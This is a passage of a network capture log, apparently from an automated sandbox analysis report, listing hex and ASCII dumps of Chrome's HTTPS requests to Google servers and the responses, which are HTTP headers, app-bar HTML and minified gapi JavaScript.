2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700325,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 Data Ascii: : Apache-2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u
2024-11-12 20:21:25 UTC	1378	IN	Data Raw: 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 Data Ascii: 3d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else th
2024-11-12 20:21:25 UTC	500	IN	Data Raw: 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 Data Ascii: {var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));retur
2024-11-12 20:21:25 UTC	297	IN	Data Raw: 31 32 32 0d 0a 5c 22 29 7c 7c 5f 2e 6a 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6f 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e Data Ascii: 122\")\|\|_.je(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};oe\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	142.250.185.68	443	7908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 20:21:25 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 20:21:25 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 20:21:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 20:21:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	142.250.185.206	443	7908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:28 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 20:21:28 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 12 Nov 2024 15:42:34 GMT Expires: Wed, 12 Nov 2025 15:42:34 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 16734 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 20:21:28 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
